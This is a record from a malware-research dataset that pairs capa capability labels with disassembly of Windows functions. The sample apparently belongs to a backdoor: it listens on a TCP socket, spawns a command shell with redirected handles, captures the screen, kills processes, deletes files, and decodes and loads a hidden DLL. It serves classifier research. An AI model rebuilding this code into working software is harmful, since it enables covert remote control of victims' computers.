joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b20
Capabilities:
Delete file
Set file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42f5b8
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc], 0
cmp eax, 1
jne 0x404b56
mov eax, dword [esp + 0x14]
push 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp eax, 1
push 0
lea ecx, [esp + 0x18]
jne 0x404b79
call fcn.004231bf
push eax
push str.__s_
jmp 0x404b84
call fcn.004231bf
push eax
push 0x43b73c
push esi
call fcn.00402b80
add esp, 0xc
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 4]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 8
Function at 0x404e10
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x42f600
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x188
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0xc], ebx
mov eax, dword [esp + 0x1a8]
push 0x43e758
push eax
mov dword [esp + 0x1a4], 1
call fcn.00412fb5
add esp, 8
test eax, eax
jne 0x404f49
lea ecx, [esp + 0x10]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1a8]
push edx
call fcn.00422f18
push 0
lea ecx, [esp + 0x1a8]
call fcn.004231bf
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x404f24
mov al, byte [esp + ecx + 0x10]
cmp al, 0x5c
je 0x404ef4
cmp al, 0x3a
jne 0x404f1f
lea edi, [esp + ecx + 0x11]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
dec ecx
test ecx, ecx
jg 0x404ee8
push 0x43b7a4
lea ecx, [esp + 0x1ac]
call fcn.0042316b
lea ecx, [esp + 0x114]
push ecx
lea ecx, [esp + 0x1ac]
call fcn.0042316b
push 0x43b0d4
push 0
lea ecx, [esp + 0x1ac]
call fcn.004231bf
push eax
call fcn.004122d1
mov esi, eax
add esp, 8
test esi, esi
jne 0x404f80
push eax
lea ecx, [esp + 0x1a8]
call fcn.004231bf
push eax
push 0x43b78c
jmp 0x404fbe
push 0x43b0d0
push 0
lea ecx, [esp + 0x1b0]
call fcn.004231bf
push eax
call fcn.004122d1
mov edi, eax
add esp, 8
test edi, edi
jne 0x404ff6
push esi
call fcn.00412223
add esp, 4
lea ecx, [esp + 0x1a8]
push edi
call fcn.004231bf
push eax
push 0x43b774
push ebx
call fcn.00402b80
add esp, 0xc
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x19c], 0
call fcn.00422dd3
lea ecx, [esp + 0x1a8]
mov dword [esp + 0x19c], 0xffffffff
call fcn.00422dd3
xor eax, eax
jmp 0x40506b
push ebp
xor ebp, ebp
mov bl, 0x10
push esi
call fcn.004128f4
mov cl, byte [esi + 0xc]
add esp, 4
test bl, cl
jne 0x40501b
movsx edx, al
push edi
push edx
call fcn.00412930
add esp, 8
inc ebp
jmp 0x404ffb
push esi
call fcn.00412223
push edi
call fcn.00412223
mov eax, dword [esp + 0x18]
push ebp
push 0x43b75c
push eax
call fcn.00402b80
add esp, 0x14
lea ecx, [esp + 0x1a8]
mov byte [esp + 0x1a0], 0
call fcn.00422dd3
lea ecx, [esp + 0x1ac]
mov dword [esp + 0x1a0], 0xffffffff
call fcn.00422dd3
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x194]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x194
ret 8
Function at 0x405480
Capabilities:
Create process on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42f660
push eax
mov dword fs:[0], esp
push esi
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 1
mov esi, 0xa
call fcn.00423291
lea ecx, [esp + 0x18]
call fcn.00423291
mov eax, dword [esp + 0x18]
push str.HIDE
push eax
call fcn.00412fb5
add esp, 8
test eax, eax
jne 0x4054cd
xor esi, esi
mov ecx, dword [esp + 0x18]
push 0x43b890
push ecx
call fcn.00412fb5
add esp, 8
test eax, eax
jne 0x4054e8
mov esi, 3
mov edx, dword [esp + 0x18]
push 0x43b88c
push edx
call fcn.00412fb5
add esp, 8
test eax, eax
jne 0x405503
mov esi, 2
mov eax, dword [esp + 0x14]
push esi
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x14]
mov byte [esp + 0xc], 0
call fcn.00422dd3
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 4]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 8
Function at 0x405e30
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [ecx + 0x18]
push esi
lea esi, [ecx + 0x18]
push 0x43e758
push eax
call fcn.00412fb5
add esp, 8
test eax, eax
je 0x405e9c
push 0
mov ecx, esi
call fcn.004231bf
push eax
call fcn.00413564
add esp, 4
cmp eax, 1
jl 0x405e9c
cmp eax, dword [0x43e750]
jg 0x405e9c
mov edx, dword [eax*4 + 0x43e2a0]
lea ecx, [esp + 4]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 4]
push 0
push eax
push 1
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, 1
pop esi
pop ecx
ret
xor eax, eax
pop esi
pop ecx
ret

Function at 0x406400
Capabilities:
Enumerate gui resources

Disassembly:
push 0xffffffffffffffff
push 0x42f790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.00407ec0
xor ebx, ebx
lea ecx, [esp + 0x14]
mov dword [esp + 0x50], ebx
call fcn.00407f80
lea ecx, [esp + 0x14]
call fcn.00408060
lea ecx, [esp + 0x14]
call fcn.00408080
mov edi, eax
xor esi, esi
mov eax, dword [edi + 8]
cmp eax, ebx
jle 0x406491
lea eax, [esp + 0x10]
push esi
push eax
mov ecx, edi
call fcn.004064e0
push ebx
mov ecx, eax
mov byte [esp + 0x54], 1
call fcn.004231bf
push eax
push str._Process_:_s_r_n
push ebp
call fcn.00402b80
add esp, 0xc
lea ecx, [esp + 0x10]
mov byte [esp + 0x50], bl
call fcn.00422dd3
mov eax, dword [edi + 8]
inc esi
cmp esi, eax
jl 0x406453
mov ecx, 0x12c
xor eax, eax
mov edi, 0x43e2a0
push ebp
rep stosd dword es:[edi], eax
push 0x406510
mov dword [0x43e750], ebx
call dword [sym.imp.USER32.dll_EnumWindows]
lea ecx, [esp + 0x14]
mov dword [esp + 0x50], 0xffffffff
call fcn.00407f10
mov ecx, dword [esp + 0x48]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret

Function at 0x406630
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, ecx
push 0
lea ecx, [esi + 0x18]
call fcn.004231bf
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
je 0x40665d
push 0x43b950
push esi
call fcn.00402b80
add esp, 8
mov eax, 1
pop esi
ret
push 0x43b940
push esi
call fcn.00402b80
add esp, 8
mov eax, 1
pop esi
ret
Function at 0x406680
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42f7d6
push eax
mov eax, 0x14348
mov dword fs:[0], esp
call fcn.00412e10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov dword [esp + 0x20], ecx
push 0
call esi
push 1
mov dword [esp + 0x18], eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esp + 0x10], eax
call esi
add eax, 0x7d0
push eax
lea eax, [esp + 0x22c]
push str.c:XH_X.tmp
push eax
call fcn.00413174
add esp, 0xc
call esi
add eax, 0xbb8
lea ecx, [esp + 0x28]
push eax
push str.c:HX_X.tmp
push ecx
call fcn.00413174
lea edx, [esp + 0x234]
push 0x43b0d0
push edx
call fcn.004122d1
mov esi, eax
add esp, 0x14
test esi, esi
je 0x406808
push esi
push 1
lea eax, [esp + 0x1c]
push 4
push eax
call fcn.00412468
push esi
push 1
lea ecx, [esp + 0x28]
push 4
push ecx
call fcn.00412468
add esp, 0x20
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
mov eax, dword [esp + 0x10]
xor ebp, ebp
test eax, eax
jle 0x4067f6
mov eax, dword [esp + 0x14]
xor edi, edi
test eax, eax
jle 0x4067e9
push ebp
push edi
push ebx
call dword [sym.imp.GDI32.dll_GetPixel]
mov ecx, dword [esp + 0x14368]
mov dword [esp + 0x18], eax
cmp ecx, 1
push esi
jne 0x4067a8
and eax, 0xff
push eax
call fcn.00412930
mov edx, dword [esp + 0x21]
push esi
and edx, 0xff
push edx
call fcn.00412930
mov eax, dword [esp + 0x2a]
push esi
and eax, 0xff
push eax
call fcn.00412930
add esp, 0x18
jmp 0x4067dc
mov ecx, dword [esp + 0x1e]
mov edx, dword [esp + 0x1d]
and ecx, 0xff
and edx, 0xff
add ecx, edx
and eax, 0xff
add ecx, eax
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
call fcn.00412930
add esp, 8
mov eax, dword [esp + 0x14]
inc edi
cmp edi, eax
jl 0x40675d
mov ecx, dword [esp + 0x10]
inc ebp
cmp ebp, ecx
jl 0x406753
push esi
call fcn.00412223
add esp, 4
push ebx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
lea ecx, [esp + 0x428]
call fcn.00408620
lea ecx, [esp + 0x28]
mov dword [esp + 0x14360], 0
push ecx
lea ecx, [esp + 0x42c]
call fcn.00408660
lea edx, [esp + 0x228]
push 0
push edx
lea ecx, [esp + 0x430]
call fcn.00408820
lea ecx, [esp + 0x428]
call fcn.00408780
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.c:_temp.dat
call fcn.00422dfd
push ecx
lea eax, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x20], esp
push eax
mov byte [esp + 0x1436c], 1
call fcn.00422dfd
mov ecx, dword [esp + 0x28]
mov byte [esp + 0x14368], 0
call fcn.00405a70
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x228]
push ecx
call esi
lea edx, [esp + 0x28]
push edx
call esi
lea ecx, [esp + 0x428]
mov dword [esp + 0x14360], 0xffffffff
call fcn.00408640
mov ecx, dword [esp + 0x14358]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x14354
ret 4
Function at 0x4068e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x3e8
push esi
mov esi, ecx
xor ecx, ecx
mov al, cl
mov dl, 0xb
imul dl
mov byte [esp + ecx + 4], al
inc ecx
cmp ecx, 0x1e
jl 0x4068eb
mov ecx, 0x1e
mov al, cl
mov dl, 0x25
imul dl
mov byte [esp + ecx + 4], al
inc ecx
cmp ecx, 0x3c
jl 0x406900
mov ecx, 0x3c
mov al, cl
mov dl, 0x7b
imul dl
mov byte [esp + ecx + 4], al
inc ecx
cmp ecx, 0x64
jl 0x406915
lea eax, [esp + 0x68]
push eax
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
mov edx, dword [esi]
push 0
lea eax, [esp + 8]
push 0x190
push eax
mov ecx, esi
call dword [edx + 0x18]
mov edx, dword [esi]
push 0
lea eax, [esp + 8]
push 0x190
push eax
mov ecx, esi
call dword [edx + 0x18]
mov eax, 1
pop esi
add esp, 0x3e8
ret

Function at 0x406970
Capabilities:
Set file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42f7f0
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], 1
mov esi, 0x80
call fcn.00423291
push 0x41
lea ecx, [esp + 0x20]
call fcn.00423256
cmp eax, 0xffffffff
je 0x4069b4
mov esi, 0xa0
push 0x52
lea ecx, [esp + 0x20]
call fcn.00423256
cmp eax, 0xffffffff
je 0x4069c7
or esi, 1
push 0x48
lea ecx, [esp + 0x20]
call fcn.00423256
cmp eax, 0xffffffff
je 0x4069da
or esi, 2
push 0x53
lea ecx, [esp + 0x20]
call fcn.00423256
cmp eax, 0xffffffff
je 0x4069ed
or esi, 4
push str._DIE_
lea ecx, [esp + 0x20]
call fcn.00421d82
cmp eax, 0xffffffff
je 0x406a03
or esi, 0x10
mov eax, dword [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test eax, eax
jne 0x406a21
push 0x43b984
push edi
call fcn.00402b80
add esp, 8
lea ecx, [esp + 0x18]
mov byte [esp + 0x10], 0
call fcn.00422dd3
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 8]
pop edi
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 8
Function at 0x406a60
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x42f808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x43c178]
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov dword [esp + 0x10], eax
mov ebx, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov dword [esp + 0x1c], 0
mov edi, 0x41
mov ebp, 0x1a
push edi
lea ecx, [esp + 0x14]
push str._c:_
push ecx
call fcn.004220c3
mov edx, dword [esp + 0x1c]
add esp, 0xc
push edx
call ebx
cmp eax, 6
ja case.0x406ac0.1
jmp dword [eax*4 + 0x406b74]
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_drive_type_cannot_be_determined.__r_n
jmp 0x406b37
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_disk_can_be_removed_from_the_drive.__r_n
jmp 0x406b37
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_disk_cannot_be_removed_from_the_drive.__r_n
jmp 0x406b37
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_drive_is_a_remote__network__drive.__r_n
jmp 0x406b37
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_drive_is_a_CD_ROM_drive.__r_n
jmp 0x406b37
push 0
lea ecx, [esp + 0x14]
call fcn.004231bf
push eax
push str._s:The_drive_is_a_RAM_disk.__r_n
push esi
call fcn.00402b80
add esp, 0xc
inc edi
dec ebp
jne 0x406a9d
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x406c76
Capabilities:
Get hostname

Disassembly:
sub esp, 0x3ec
push esi
mov esi, ecx
lea eax, [esp + 4]
lea ecx, [esp + 0x6d]
push eax
push ecx
mov dword [esp + 0xc], 0x104
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
xor ecx, ecx
mov al, cl
mov dl, 0xb
imul dl
mov byte [esp + ecx + 8], al
inc ecx
cmp ecx, 0x1e
jl 0x406c93
mov ecx, 0x1e
mov al, cl
mov dl, 0x25
imul dl
mov byte [esp + ecx + 8], al
inc ecx
cmp ecx, 0x3c
jl 0x406ca8
mov ecx, 0x3c
mov al, cl
mov dl, 0x7b
imul dl
mov byte [esp + ecx + 8], al
inc ecx
cmp ecx, 0x64
jl 0x406cbd
mov eax, dword [esi]
push 0
lea ecx, [esp + 0xc]
push 0x190
push ecx
mov ecx, esi
mov byte [esp + 0x78], 0x23
call dword [eax + 0x18]
cmp eax, 0x118
jge 0x406cff
mov edx, dword [esi]
push 0
lea eax, [esp + 0xc]
push 0x190
push eax
mov ecx, esi
call dword [edx + 0x18]
mov eax, 1
pop esi
add esp, 0x3ec
ret
Function at 0x406d10
Capabilities:
Delete directory
Delete file
Get common file path
Set current directory

Disassembly:
push 0xffffffffffffffff
push 0x42f833
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebp
push esi
push edi
mov edi, ecx
push 0x2e
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0
call fcn.00423256
or ebp, 0xffffffff
cmp eax, ebp
jne 0x406eab
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
mov ecx, dword [esp + 0x144]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
test eax, eax
jne 0x406d89
push 0x43bae0
push edi
call fcn.00402b80
add esp, 8
jmp 0x406eab
lea ecx, [esp + 0x10]
call fcn.0040a427
push 0
push 0
lea ecx, [esp + 0x18]
mov byte [esp + 0x144], 1
call fcn.0040a4ea
lea ecx, [esp + 0x10]
call fcn.0040a70a
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
je 0x406e0e
mov edx, dword [esp + 0x10]
push 0x10
lea ecx, [esp + 0x14]
call dword [edx + 0x38]
test eax, eax
jne 0x406de9
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
call fcn.0040a7d9
mov eax, dword [eax]
push eax
call esi
lea ecx, [esp + 0xc]
call fcn.00422dd3
jmp 0x406e01
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push ecx
lea ecx, [esp + 0x18]
call fcn.0040a7d9
mov ecx, edi
call fcn.00406d10
lea ecx, [esp + 0x10]
call fcn.0040a70a
test eax, eax
jne 0x406dba
mov edx, dword [esp + 0x10]
push 0x10
lea ecx, [esp + 0x14]
call dword [edx + 0x38]
test eax, eax
jne 0x406e3d
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
call fcn.0040a7d9
mov eax, dword [eax]
push eax
call esi
lea ecx, [esp + 0xc]
call fcn.00422dd3
jmp 0x406e55
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push ecx
lea ecx, [esp + 0x18]
call fcn.0040a7d9
mov ecx, edi
call fcn.00406d10
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
lea ecx, [esp + 0x10]
call fcn.0040a4a0
mov eax, dword [esp + 0x144]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
mov byte [esp + 0x13c], 0
lea ecx, [esp + 0x10]
je 0x406ea6
call fcn.0040a464
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], ebp
call fcn.00422dd3
mov eax, 1
jmp 0x406ec0
call fcn.0040a464
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], ebp
call fcn.00422dd3
xor eax, eax
mov ecx, dword [esp + 0x134]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x134
ret 4
Function at 0x406f20
Capabilities:
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42f84b
push eax
mov eax, 0x14138
mov dword fs:[0], esp
call fcn.00412e10
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [esp + 0x214]
call fcn.00408620
lea eax, [esp + 0x110]
push 0x104
push eax
push 0
mov dword [esp + 0x14158], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str.control.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x110]
and ecx, 3
push eax
push str.Open__s_OK__r_n
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.00402b80
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
call edi
mov esi, eax
test esi, esi
jne 0x407052
lea edx, [esp + 0x110]
lea ecx, [esp + 0x214]
push edx
call fcn.004086c0
cmp eax, 1
jne 0x4070ea
mov eax, dword [0x43e754]
test eax, eax
jne 0x4070ea
lea eax, [esp + 0xc]
lea ecx, [esp + 0x214]
push eax
push esi
call fcn.004089a0
cmp eax, 1
jne 0x40708f
lea ecx, [esp + 0xc]
push ecx
push str.Decode__s_OK__r_n
push ebx
call fcn.00402b80
add esp, 0xc
lea ecx, [esp + 0x214]
call fcn.00408780
lea edx, [esp + 0xc]
mov dword [0x43e754], 1
push edx
call edi
mov esi, eax
test esi, esi
je 0x4070ea
push str.Control
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4070c9
lea ecx, [esp + 0xc]
push ecx
push str.Run_Control..._r_n
push ebx
call fcn.00402b80
mov edx, dword [esp + 0x14160]
push edx
call edi
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push str.OK__r_n
jmp 0x4070ef
lea eax, [esp + 0xc]
push eax
push str.Decode__s_false__r_n
push ebx
call fcn.00402b80
add esp, 0xc
lea ecx, [esp + 0x214]
call fcn.00408780
lea ecx, [esp + 0x214]
mov dword [esp + 0x1414c], 0xffffffff
call fcn.00408640
xor eax, eax
jmp 0x407114
lea eax, [esp + 0xc]
push eax
push str.Cant_run_Control..._r_n
push ebx
call fcn.00402b80
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push str.OK__r_n
jmp 0x4070ef
push str.False__r_n
push ebx
call fcn.00402b80
add esp, 8
lea ecx, [esp + 0x214]
mov dword [esp + 0x1414c], 0xffffffff
call fcn.00408640
mov eax, 1
mov ecx, dword [esp + 0x14144]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14144
ret 4
Function at 0x407130
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xd8
push esi
lea eax, [esp + 0x48]
push edi
mov esi, ecx
push eax
mov dword [esp + 0x50], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [esp + 0x5c]
mov edx, str.command.com
cmp eax, 2
jne 0x407160
mov edx, str.cmd.exe
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [esi + 0xb0]
mov word [esp + 0x38], ax
mov eax, dword [esi + 0xac]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
lea eax, [esi + 0xb8]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edx
push 0
mov dword [esp + 0x5c], 0x101
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [esi + 0x94], 1
pop edi
pop esi
add esp, 0xd8
ret

Function at 0x407410
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
mov eax, dword [0x43bbc0]
sub esp, 0x1a0
push esi
mov esi, dword [esp + 0x1a8]
cmp eax, esi
je 0x407437
call fcn.00407520
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x14]
mov dword [0x43bbc0], esi
push eax
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x407464
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, str.Error_in_Startup_session.
pop esi
add esp, 0x1a0
ret
mov cx, word [0x43bbc0]
mov word [esp + 4], 2
push ecx
mov dword [esp + 0xc], 0
call dword [sym.imp.WSOCK32.dll_htons]
push 0
push 1
push 2
mov word [esp + 0x12], ax
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4074ac
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, str.Error_in_New_a_Socket.
pop esi
add esp, 0x1a0
ret
lea edx, [esp + 4]
push 0x10
push edx
push esi
call dword [sym.imp.WSOCK32.dll_bind]
test eax, eax
je 0x4074d1
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, str.Error_in_Binding_socket.
pop esi
add esp, 0x1a0
ret
push 5
push esi
call dword [sym.imp.WSOCK32.dll_listen]
test eax, eax
je 0x4074f1
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, str.Error_in_Listen.
pop esi
add esp, 0x1a0
ret
push 0
push 0
push 0
push 0
push 0
push 0x407a40
mov dword [0x43e75c], esi
call fcn.0042346a
xor eax, eax
pop esi
add esp, 0x1a0
ret
Function at 0x407dc0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x298
lea eax, [esp + 0x108]
push eax
push 2
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x407eb0
push esi
lea ecx, [esp + 0xc]
push 0xff
push ecx
call dword [sym.imp.WSOCK32.dll_gethostname]
test eax, eax
jne 0x407e9e
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov esi, eax
test esi, esi
mov dword [esp + 8], esi
je 0x407e9e
mov eax, dword [esi + 0xc]
cmp dword [eax], 0
je 0x407e9e
push ebx
mov ebx, dword [esp + 0x2a4]
push ebp
push edi
xor ebp, ebp
mov eax, dword [eax + ebp]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
test ebx, ebx
mov dword [esp + 0x10], eax
je 0x407e8f
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x43b888
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x14]
mov eax, dword [esi + 0xc]
add ebp, 4
cmp dword [eax + ebp], 0
jne 0x407e28
pop edi
pop ebp
pop ebx
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, dword [esp + 4]
pop esi
add esp, 0x298
ret
mov eax, dword [esp]
add esp, 0x298
ret